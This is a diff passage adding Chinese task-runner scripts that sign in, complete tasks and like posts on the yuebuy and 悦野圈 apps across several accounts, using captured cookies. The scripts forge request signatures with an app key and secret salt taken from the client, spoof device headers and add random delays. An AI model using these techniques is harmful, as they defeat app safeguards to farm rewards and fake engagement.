+ if (result) {
+ if (result.code == 1) {
+ this.ckStatus = true
+ $.log(`ID [${result.data.user_id}]当前金币[${result.data.coin}] 今日是否签到[${result.data.today_is_checkin == 1}]`)
+ if (result.data.today_is_checkin == 1) {
+ this.signStatus = true
+ }
+ } else {
+ this.ckStatus = false
+ $.log(JSON.stringify(result));
+ }
+ }
+
+ }
+ async task_sign() {
+ let result = await this.taskRequest("post", `https://app.yuebuy.cn/api/checkin/checkin`, ``)
+ //console.log(options);
+ //console.log(result);
+ if (result) {
+ if (result.code == 0) {
+ $.log(result.message)
+ } else {
+ $.log(result.message);
+ }
+ }
+
+ }
+ async task_index() {
+ let result = await this.taskRequest("post", `https://app.yuebuy.cn/api/checkin/index`, ``)
+ //console.log(options);
+ //console.log(result);
+ if (result) {
+ if (result.code == 1) {
+ $.log(`获取任务列表` + result.message)
+ if (result.message == "Success") {
+ for (let index of result.data.task_data) {
+ if (index.title.indexOf("日常") != -1) {
+ for (let task of index.task_list) {
+ if (task.title.indexOf("浏览") != -1 || task.title.indexOf("分享") !== -1) {
+ $.log(`[${task.title}]任务状态[${task.is_finish == 1}]`)
+ if (task.is_finish == 0) {
+ $.log(`正在做任务[${task.title}]`)
+ await this.task_start(task.id)
+ }
+ }
+ }
+ }
+ }
+ }
+ } else {
+ $.log(JSON.stringify(result));
+ }
+ }
+ }
+ async task_start(id) {
+ let result = await this.taskRequest("post", `https://app.yuebuy.cn/api/checkin/getTask`, `task_id=${id}`)
+ //console.log(options);
+ //console.log(result);
+ if (result) {
+ if (result.code == 1) {
+ $.log(`任务开始` + result.message)
+ if (result.message == "Success") {
+ await $.wait(16000)
+ await this.task_finish(result.data.task_sn)
+ }
+ } else {
+ $.log(JSON.stringify(result));
+ }
+ }
+ //console.log(result.data);
+
+ }
+
+ async task_finish(sn) {
+ let result = await this.taskRequest("post", `https://app.yuebuy.cn/api/checkin/finishTask`, `task_sn=${sn}`)
+ //console.log(options);
+ //console.log(result);
+ if (result) {
+ if (result.code == 1) {
+ $.log(`任务完成` + result.message)
+ } else {
+ $.log(JSON.stringify(result));
+ }
+ }
+ //console.log(result.data);
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+ await $.sendMsg($.logs.join("\n"))
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new Task(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+function Env(t, s) {
+ return new (class {
+ constructor(t, s) {
+ this.name = t;
+ this.data = null;
+ this.dataFile = "box.dat";
+ this.logs = [];
+ this.logSeparator = "\n";
+ this.startTime = new Date().getTime();
+ Object.assign(this, s);
+ this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`);
+ }
+ isNode() {
+ return "undefined" != typeof module && !!module.exports;
+ }
+ isQuanX() {
+ return "undefined" != typeof $task;
+ }
+ isSurge() {
+ return "undefined" != typeof $httpClient && "undefined" == typeof $loon;
+ }
+ isLoon() {
+ return "undefined" != typeof $loon;
+ }
+ loaddata() {
+ if (!this.isNode()) return {};
+ {
+ this.fs = this.fs ? this.fs : require("fs");
+ this.path = this.path ? this.path : require("path");
+ const t = this.path.resolve(this.dataFile),
+ s = this.path.resolve(process.cwd(), this.dataFile),
+ e = this.fs.existsSync(t),
+ i = !e && this.fs.existsSync(s);
+ if (!e && !i) return {};
+ {
+ const i = e ? t : s;
+ try {
+ return JSON.parse(this.fs.readFileSync(i));
+ } catch (t) {
+ return {};
+ }
+ }
+ }
+ }
+ writedata() {
+ if (this.isNode()) {
+ this.fs = this.fs ? this.fs : require("fs");
+ this.path = this.path ? this.path : require("path");
+ const t = this.path.resolve(this.dataFile),
+ s = this.path.resolve(process.cwd(), this.dataFile),
+ e = this.fs.existsSync(t),
+ i = !e && this.fs.existsSync(s),
+ o = JSON.stringify(this.data);
+ e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o);
+ }
+ }
+ lodash_get(t, s, e) {
+ const i = s.replace(/\[(\d+)\]/g, ".$1").split(".");
+ let o = t;
+ for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e;
+ return o;
+ }
+ lodash_set(t, s, e) {
+ return Object(t) !== t
+ ? t
+ : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []),
+ (s
+ .slice(0, -1)
+ .reduce(
+ (t, e, i) =>
+ Object(t[e]) === t[e]
+ ? t[e]
+ : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}),
+ t
+ )[s[s.length - 1]] = e),
+ t);
+ }
+ getdata(t) {
+ let s = this.getval(t);
+ if (/^@/.test(t)) {
+ const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t),
+ o = e ? this.getval(e) : "";
+ if (o)
+ try {
+ const t = JSON.parse(o);
+ s = t ? this.lodash_get(t, i, "") : s;
+ } catch (t) {
+ s = "";
+ }
+ }
+ return s;
+ }
+ setdata(t, s) {
+ let e = !1;
+ if (/^@/.test(s)) {
+ const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s),
+ h = this.getval(i),
+ a = i ? ("null" === h ? null : h || "{}") : "{}";
+ try {
+ const s = JSON.parse(a);
+ this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i));
+ } catch (s) {
+ const h = {};
+ this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i));
+ }
+ } else e = this.setval(t, s);
+ return e;
+ }
+ getval(t) {
+ if (this.isSurge() || this.isLoon()) {
+ return $persistentStore.read(t);
+ } else if (this.isQuanX()) {
+ return $prefs.valueForKey(t);
+ } else if (this.isNode()) {
+ this.data = this.loaddata();
+ return this.data[t];
+ } else {
+ return this.data && this.data[t] || null;
+ }
+ }
+ setval(t, s) {
+ if (this.isSurge() || this.isLoon()) {
+ return $persistentStore.write(t, s);
+ } else if (this.isQuanX()) {
+ return $prefs.setValueForKey(t, s);
+ } else if (this.isNode()) {
+ this.data = this.loaddata();
+ this.data[s] = t;
+ this.writedata();
+ return true;
+ } else {
+ return this.data && this.data[s] || null;
+ }
+ }
+ initGotEnv(t) {
+ this.got = this.got ? this.got : require("got");
+ this.cktough = this.cktough ? this.cktough : require("tough-cookie");
+ this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar();
+ if (t) {
+ t.headers = t.headers ? t.headers : {};
+ if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") {
+ t.cookieJar = this.ckjar;
+ }
+ }
+ }
+ /**
+ * @param {Object} options
+ * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku
+ */
+ queryStr(options) {
+ return Object.entries(options)
+ .map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`)
+ .join('&');
+ }
+ //从url获取参数组成json
+ getURLParams(url) {
+ const params = {};
+ const queryString = url.split('?')[1];
+ if (queryString) {
+ const paramPairs = queryString.split('&');
+ paramPairs.forEach(pair => {
+ const [key, value] = pair.split('=');
+ params[key] = decodeURIComponent(value);
+ });
+ }
+ return params;
+ }
+ isJSONString(str) {
+ try {
+ var obj = JSON.parse(str);
+ if (typeof obj == 'object' && obj) {
+ return true;
+ } else {
+ return false;
+ }
+ } catch (e) {
+ return false;
+ }
+ }
+ isJson(obj) {
+ var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length;
+ return isjson;
+ }
+ async sendMsg(message) {
+ if (!message) return;
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+ }
+ async httpRequest(options) {
+ let t = {
+ ...options
+ };
+ if (!t.headers) {
+ t.headers = {}
+ }
+ if (t.params) {
+ t.url += '?' + this.queryStr(t.params);
+ }
+ t.method = t.method.toLowerCase();
+ if (t.method === 'get') {
+ delete t.headers['Content-Type'];
+ delete t.headers['Content-Length'];
+ delete t.headers['content-type'];
+ delete t.headers['content-length'];
+ delete t["body"]
+ }
+ if (t.method === 'post') {
+ let ContentType;
+ if (!t.body) {
+ t.body = ""
+ } else {
+ if (typeof t.body == "string") {
+ if (this.isJSONString(t.body)) {
+ ContentType = 'application/json'
+ } else {
+ ContentType = 'application/x-www-form-urlencoded'
+ }
+ } else if (this.isJson(t.body)) {
+ t.body = JSON.stringify(t.body);
+ ContentType = 'application/json';
+ }
+ }
+ if (!t.headers['Content-Type']) {
+ t.headers['Content-Type'] = ContentType;
+ }
+ delete t.headers['Content-Length'];
+ }
+ if (this.isNode()) {
+ this.initGotEnv(t);
+ let httpResult = await this.got(t);
+ if (this.isJSONString(httpResult.body)) {
+ httpResult.body = JSON.parse(httpResult.body)
+ }
+ return httpResult;
+ }
+ if (this.isQuanX()) {
+ t.method = t.method.toUpperCase()
+ return new Promise((resolve, reject) => {
+ $task.fetch(t).then(response => {
+ if (this.isJSONString(response.body)) {
+ response.body = JSON.parse(response.body)
+ }
+ resolve(response)
+ })
+ })
+ }
+ }
+ randomNumber(length) {
+ const characters = '0123456789';
+ return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
+ }
+ randomString(length) {
+ const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
+ return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
+ }
+ timeStamp() {
+ return new Date().getTime()
+ }
+ uuid() {
+ return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
+ var r = Math.random() * 16 | 0,
+ v = c == 'x' ? r : (r & 0x3 | 0x8);
+ return v.toString(16);
+ });
+ }
+ time(t) {
+ let s = {
+ "M+": new Date().getMonth() + 1,
+ "d+": new Date().getDate(),
+ "H+": new Date().getHours(),
+ "m+": new Date().getMinutes(),
+ "s+": new Date().getSeconds(),
+ "q+": Math.floor((new Date().getMonth() + 3) / 3),
+ S: new Date().getMilliseconds(),
+ };
+ /(y+)/.test(t) &&
+ (t = t.replace(
+ RegExp.$1,
+ (new Date().getFullYear() + "").substr(4 - RegExp.$1.length)
+ ));
+ for (let e in s)
+ new RegExp("(" + e + ")").test(t) &&
+ (t = t.replace(
+ RegExp.$1,
+ 1 == RegExp.$1.length
+ ? s[e]
+ : ("00" + s[e]).substr(("" + s[e]).length)
+ ));
+ return t;
+ }
+ msg(s = t, e = "", i = "", o) {
+ const h = (t) =>
+ !t || (!this.isLoon() && this.isSurge())
+ ? t
+ : "string" == typeof t
+ ? this.isLoon()
+ ? t
+ : this.isQuanX()
+ ? { "open-url": t }
+ : void 0
+ : "object" == typeof t && (t["open-url"] || t["media-url"])
+ ? this.isLoon()
+ ? t["open-url"]
+ : this.isQuanX()
+ ? t
+ : void 0
+ : void 0;
+ this.isMute ||
+ (this.isSurge() || this.isLoon()
+ ? $notification.post(s, e, i, h(o))
+ : this.isQuanX() && $notify(s, e, i, h(o)));
+ let logs = ['', '==============📣系统通知📣=============='];
+ logs.push(t);
+ e ? logs.push(e) : '';
+ i ? logs.push(i) : '';
+ console.log(logs.join('\n'));
+ this.logs = this.logs.concat(logs);
+ }
+ log(...t) {
+ t.length > 0 && (this.logs = [...this.logs, ...t]),
+ console.log(t.join(this.logSeparator));
+ }
+ logErr(t, s) {
+ const e = !this.isSurge() && !this.isQuanX() && !this.isLoon();
+ e
+ ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack)
+ : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t);
+ }
+ wait(t) {
+ return new Promise((s) => setTimeout(s, t));
+ }
+ done(t = {}) {
+ const s = new Date().getTime(),
+ e = (s - this.startTime) / 1e3;
+ this.log(
+ "",
+ `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`
+ )
+ this.log()
+ if (this.isNode()) {
+ process.exit(1)
+ }
+ if (this.isQuanX()) {
+ $done(t)
+ }
+ }
+ })(t, s);
+}
diff --git a/backup/yyq.js b/backup/yyq.js
new file mode 100644
index 00000000..803d32fb
--- /dev/null
+++ b/backup/yyq.js
@@ -0,0 +1,438 @@
+/**
+ * 悦野圈
+ * cron 7 8 * * * yyq.js
+ * 23/04/14 签到 点赞 评论 分享
+ * 23/11/26 删除 评论 分享 只做点赞和签到
+ * 24/03/24 修复脚本失效问题
+ * ========= 青龙--配置文件 ===========
+ * # 项目名称
+ * export yyq_new='Cookie#13111111 & Cookie#13111111'
+ * 变量名 yyq_new
+ * 抓包 https://customer.yueyequan.cn/ , 找到 headers中的 Cookie中 usersig的值#userid=后面的值
+ * 多账号&或换行 或新建同名变量
+ * 例如axxxxxxx#155511111
+ * ====================================
+ *
+ */
+
+
+
+const $ = new Env("悦野圈");
+const ckName = "yyq_new";
+//-------------------- 一般不动变量区域 -------------------------------------
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+const notify = $.isNode() ? require('../sendNotify') : '';
+let envSplitor = ["&", "\n"]; //多账号分隔符
+let msg = ''; //let ck,msg
+let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || '';
+let userList = [];
+let userIdx = 0;
+let userCount = 0;
+//---------------------- 自定义变量区域 -----------------------------------
+//---------------------------------------------------------
+
+async function start() {
+
+ //await notice()
+ console.log('\n================== 用户信息 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ console.log(`随机延迟${user.getRandomTime()}ms`);
+ taskall.push(await user.user_info());
+ await $.wait(user.getRandomTime()); //延迟 1秒 可充分利用 $.环境函数
+ }
+ await Promise.all(taskall);
+ console.log('\n================== 签到 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ console.log(`随机延迟${user.getRandomTime()}ms`);
+ taskall.push(await user.task_signIn());
+ await $.wait(user.getRandomTime());
+ }
+ }
+ await Promise.all(taskall);
+ //获取文章
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.get_list());
+ await $.wait(user.getRandomTime());
+ }
+ //console.log(user.articleIdArr);
+
+ }
+ console.log('\n================== 点赞 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ console.log(`随机延迟${user.getRandomTime()}ms`);
+ for (let o = 0; o < 5; o++) {
+ taskall.push(await user.task_like(user.articleIdArr[o]));
+ await $.wait(user.getRandomTime());
+ }
+ }
+ }
+ await Promise.all(taskall);
+
+ /*console.log('\n================== 评论 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ console.log(`随机延迟${user.getRandomTime()}ms`);
+ for (let o = 0; o < 5; o++) {
+ taskall.push(await user.task_add(user.articleIdArr[o]));
+ await $.wait(user.getRandomTime());
+ }
+ }
+ }
+ await Promise.all(taskall);*/
+ /*console.log('\n================== 分享 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ console.log(`随机延迟${user.getRandomTime()}ms`);
+ for (let o = 0; o < 5; o++) {
+ taskall.push(await user.task_share(user.articleIdArr[o]));
+ await $.wait(user.getRandomTime());
+ }
+ }
+ }
+ await Promise.all(taskall);*/
+
+
+}
+
+
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split('#')[0]; //单账号多变量分隔符
+ //this.data1 = ck[0]
+ this.ckStatus = true
+ //this.userId = this.ck.match(/userid=(\S*);Path=\/;usersig=/)[1];
+ this.userId = str.split('#')[1]; //单账号多变量分隔符;
+ this.headers = {
+ "User-Agent": "okhttp/4.2.0 (Android 10; Xiaomi MI 8 Lite Build/V11.0.2.0.QDTCNXM 2.12.0 21200 release baic-orv-app-android baicorvApp baic-orv-app-android)",
+ "appInfo": "{\"appVersion\":\"2.12.0\",\"osVersion\":\"Android 10\",\"appType\":\"Android\",\"deviceId\":\"76a9d22fc49aac9af4a7575488935928@1711269006040\",\"deviceName\":\"Xiaomi MI 8 Lite\"}",
+ "appTheme": "AQUA",
+ "Cookie": `userid=${this.userId};usersig=${this.ck};`,
+ "Cache-Control": "no-cache",
+ "Accept-Encoding": "identity",
+ "ice-auth-appkey": 9687643962,
+
+ }
+ this.articleIdArr = []
+
+ }
+ getRandomTime() {
+ return randomInt(3000, 9000)
+ }
+ getSign(method, path, timestamp, data) {
+ let baseData
+ if (typeof data == 'object' && data !== null) {
+ data = "json=" + JSON.stringify(data)
+ } else {
+ data = data.toLowerCase()
+
+ }
+ if (method == 'GET') {
+
+ baseData = `${method}${path}ice-auth-appkey:9687643962ice-auth-timestamp:${timestamp}${data}9ee70cb717f382417d1404fca6df80fd`
+ } else {
+ baseData = `${method}${path}ice-auth-appkey:9687643962ice-auth-timestamp:${timestamp}${data}9ee70cb717f382417d1404fca6df80fd`
+ }
+ baseData = encodeURIComponent(baseData)
+ //console.log(baseData);
+
+ return SHA256_Encrypt(baseData)
+ }
+ async user_info() {
+ try {
+ let options = {
+ url: `https://customer.yueyequan.cn/comu-core/v1.0/common/app/user/getMe?userId=${this.userId}`,
+ headers: this.headers
+ }
+
+ options.headers['ice-auth-timestamp'] = ts13()
+ options.headers['ice-auth-sign'] = this.getSign('GET', '/comu-core/v1.0/common/app/user/getMe', ts13(), `userId=${this.userId}`)
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.code == 200) {
+ DoubleLog(`账号[${this.index}] 欢迎用户: ${result.data.nickName}`);
+ this.ckStatus = true
+ } else {
+ DoubleLog(`账号[${this.index}] 用户查询:失败 ❌ 了呢,原因未知!`);
+ this.ckStatus = false
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_signIn() {
+ try {
+ let options = {
+ url: `https://customer.yueyequan.cn/comu-mem/member/v1.0/common/app/user/signIn`,
+ headers: this.headers,
+ body: `userId=${this.userId}`
+ }
+ options.headers['Content-Type'] = 'application/x-www-form-urlencoded'
+ options.headers['ice-auth-timestamp'] = ts13()
+ options.headers['ice-auth-sign'] = this.getSign('POST', '/comu-mem/member/v1.0/common/app/user/signIn', ts13(), `userId=${this.userId}`)
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.code == 200) {
+ DoubleLog(`账号[${this.index}] 签到: [${result.msg}]`);
+ } else {
+ DoubleLog(`账号[${this.index}] 签到:失败 ❌ 了呢,原因未知!`);
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async get_list() {
+ try {
+ let options = {
+ url: `https://customer.yueyequan.cn/comu-core/v1/app/newPopular?pageSize=20&pageNum=1`,
+ headers: this.headers
+ }
+ options.headers['ice-auth-timestamp'] = ts13()
+ options.headers['ice-auth-sign'] = this.getSign('GET', '/comu-core/v1/app/newPopular', ts13(), 'pageSize=20pageNum=1')
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.code == 200) {
+ for (let i = 0; i < 20; i++) {
+ this.articleIdArr.push(result.data.records[i].entity.id)
+ }
+ } else {
+ console.log(`获取文章失败`);
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_like(articleId) {
+ try {
+ let options = {
+ url: `https://customer.yueyequan.cn/comu-core/v1.0/creation/like`,
+ headers: this.headers,
+ body: JSON.stringify({ "entityId": `${articleId}`, "entityType": "002", "userId": `${this.userId}` })
+ }
+ options.headers['Content-Type'] = 'application/json;charset=UTF-8'
+ options.headers['ice-auth-timestamp'] = ts13()
+ options.headers['ice-auth-sign'] = this.getSign('POST', '/comu-core/v1.0/creation/like', ts13(), { "entityId": articleId, "entityType": "002", "userId": this.userId })
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.code == 200) {
+ DoubleLog(`账号[${this.index}] 点赞: [${result.msg}] [${articleId}]`);
+ } else {
+ DoubleLog(`账号[${this.index}] 点赞:失败 ❌ 了呢,原因未知!`);
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_add(articleId) {
+ try {
+ let txt = await hitokoto()
+ let options = {
+ url: `https://customer.yueyequan.cn/comu-core/v1.0/comment/addComment`,
+ headers: this.headers,
+ body: JSON.stringify({ "content": "" + txt + "" + + "", "parentId": "0", "targetName": "", "entityId": `${articleId}`, "entityType": "002", "source": "" })
+ }
+ options.headers['Content-Type'] = 'application/json;charset=UTF-8'
+ options.headers['ice-auth-timestamp'] = ts13()
+ options.headers['ice-auth-sign'] = this.getSign('POST', '/comu-core/v1.0/comment/addComment', ts13(), `{"content":"加油","parentId":"0","targetName":"","entityId":${articleId},"entityType":"002","source":""}`)
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.code == 200) {
+ DoubleLog(`账号[${this.index}] 评论:[${result.msg}] [${articleId}]`);
+ } else {
+ DoubleLog(`账号[${this.index}] 评论:失败 ❌ 了呢,原因未知!`); console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_share(articleId) {
+ try {
+ let options = {
+ url: `https://customer.yueyequan.cn/comu-mem/member/v2/share`,
+ headers: this.headers,
+ body: JSON.stringify({ "id": `${articleId}`, "type": "4" })
+ }
+ options.headers['Content-Type'] = 'application/json;charset=UTF-8'
+ options.headers['ice-auth-timestamp'] = ts13()
+ options.headers['ice-auth-sign'] = this.getSign('POST', '/comu-mem/member/v2/share', ts13(), `{"id":${articleId},"type":"4"}`)
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result.code == 200) {
+ DoubleLog(`账号[${this.index}] 分享:[${result.msg}] [${articleId}]`);
+ } else {
+ DoubleLog(`账号[${this.index}] 分享:失败 ❌ 了呢,原因未知!`); console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+ await SendMsg(msg);
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+
+//********************************************************
+// 变量检查与处理
+async function checkEnv() {
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ userCount = userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userCount}个账号`), true;//true == !0
+}
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, method) {
+ typeof (method) === 'undefined' ? ('body' in options ? method = 'post' : method = 'get') : method = method
+ return new Promise((resolve) => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${method}请求失败`);
+ $.logErr(err);
+ //throw new Error(err);
+ //console.log(err);
+ } else {
+ //httpResult = data;
+ //httpResponse = resp;
+ if (data) {
+ //console.log(data);
+ typeof JSON.parse(data) == 'object' ? data = JSON.parse(data) : data = data
+ resolve(data)
+ } else {
+ console.log(`请求api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (e) {
+ //console.log(e, resp);
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+/**
+ * 时间戳 13位
+ */
+function ts13() {
+ return Math.round(new Date().getTime()).toString();
+}
+function randomInt(min, max) {
+ return Math.round(Math.random() * (max - min) + min);
+}
+async function notice() {
+ try {
+ let options = {
+ url: `https://ghproxy.com/https://raw.githubusercontent.com/smallfawn/api/main/notice.json`,
+ headers: {
+ 'User-Agent': ''
+ },
+ }
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ if (result) {
+ if ('notice' in result) {
+ DoubleLog(`${result.notice}`);
+ } else {
+ options.url = `https://gitee.com/smallfawn/api/raw/master/notice.json`
+ result = await httpRequest(options);
+ if ('notice' in result) {
+ DoubleLog(`${result.notice}`);
+ }
+ }
+ } else {
+ }
+ } catch (e) {
+ console.log(e);
+ }
+}
+async function hitokoto() { // 随机一言
+ try {
+ let options = {
+ url: 'https://v1.hitokoto.cn/',
+ headers: {}
+ };
+ //console.log(options);
+ let result = await httpRequest(options);
+ //console.log(result);
+ return result.hitokoto
+ } catch (error) {
+ console.log(error);
+ }
+}
+// 双平台log输出
+function DoubleLog(data) {
+ if ($.isNode()) {
+ if (data) {
+ console.log(`${data}`);
+ msg += `\n${data}`
+ }
+ } else {
+ console.log(`${data}`);
+ msg += `\n${data}`
+ }
+}
+// 发送消息
+async function SendMsg(message) {
+ if (!message) return;
+ if (Notify > 0) {
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+ } else {
+ console.log(message)
+ }
+}
+/**
+ * SHA256 加密
+ */
+function SHA256_Encrypt(data) {
+ sha256_init();
+ sha256_update(data, data.length);
+ sha256_final();
+ return sha256_encode_hex();
+}
+/* SHA256 logical functions */ function rotateRight(n, x) { return (x >>> n) | (x << (32 - n)); } function choice(x, y, z) { return (x & y) ^ (~x & z); } function majority(x, y, z) { return (x & y) ^ (x & z) ^ (y & z); } function sha256_Sigma0(x) { return rotateRight(2, x) ^ rotateRight(13, x) ^ rotateRight(22, x); } function sha256_Sigma1(x) { return rotateRight(6, x) ^ rotateRight(11, x) ^ rotateRight(25, x); } function sha256_sigma0(x) { return rotateRight(7, x) ^ rotateRight(18, x) ^ (x >>> 3); } function sha256_sigma1(x) { return rotateRight(17, x) ^ rotateRight(19, x) ^ (x >>> 10); } function sha256_expand(W, j) { return (W[j & 0x0f] += sha256_sigma1(W[(j + 14) & 0x0f]) + W[(j + 9) & 0x0f] + sha256_sigma0(W[(j + 1) & 0x0f])); } /* Hash constant words K: */ var K256 = new Array(0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2); /* global arrays */ var ihash, count, buffer; var sha256_hex_digits = "0123456789abcdef"; /* Add 32-bit integers with 16-bit operations (bug in some JS-interpreters: overflow) */ function safe_add(x, y) { var lsw = (x & 0xffff) + (y & 0xffff); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xffff); } /* Initialise the SHA256 computation */ function sha256_init() { ihash = new Array(8); count = new Array(2); buffer = new Array(64); count[0] = count[1] = 0; ihash[0] = 0x6a09e667; ihash[1] = 0xbb67ae85; ihash[2] = 0x3c6ef372; ihash[3] = 0xa54ff53a; ihash[4] = 0x510e527f; ihash[5] = 0x9b05688c; ihash[6] = 0x1f83d9ab; ihash[7] = 0x5be0cd19; } /* Transform a 512-bit message block */ function sha256_transform() { var a, b, c, d, e, f, g, h, T1, T2; var W = new Array(16); /* Initialize registers with the previous intermediate value */ a = ihash[0]; b = ihash[1]; c = ihash[2]; d = ihash[3]; e = ihash[4]; f = ihash[5]; g = ihash[6]; h = ihash[7]; /* make 32-bit words */ for (var i = 0; i < 16; i++) W[i] = buffer[(i << 2) + 3] | (buffer[(i << 2) + 2] << 8) | (buffer[(i << 2) + 1] << 16) | (buffer[i << 2] << 24); for (var j = 0; j < 64; j++) { T1 = h + sha256_Sigma1(e) + choice(e, f, g) + K256[j]; if (j < 16) T1 += W[j]; else T1 += sha256_expand(W, j); T2 = sha256_Sigma0(a) + majority(a, b, c); h = g; g = f; f = e; e = safe_add(d, T1); d = c; c = b; b = a; a = safe_add(T1, T2); } /* Compute the current intermediate hash value */ ihash[0] += a; ihash[1] += b; ihash[2] += c; ihash[3] += d; ihash[4] += e; ihash[5] += f; ihash[6] += g; ihash[7] += h; } /* Read the next chunk of data and update the SHA256 computation */ function sha256_update(data, inputLen) { var i, index, curpos = 0; /* Compute number of bytes mod 64 */ index = (count[0] >> 3) & 0x3f; var remainder = inputLen & 0x3f; /* Update number of bits */ if ((count[0] += inputLen << 3) < inputLen << 3) count[1]++; count[1] += inputLen >> 29; /* Transform as many times as possible */ for (i = 0; i + 63 < inputLen; i += 64) { for (var j = index; j < 64; j++) buffer[j] = data.charCodeAt(curpos++); sha256_transform(); index = 0; } /* Buffer remaining input */ for (var j = 0; j < remainder; j++) buffer[j] = data.charCodeAt(curpos++); } /* Finish the computation by operations such as padding */ function sha256_final() { var index = (count[0] >> 3) & 0x3f; buffer[index++] = 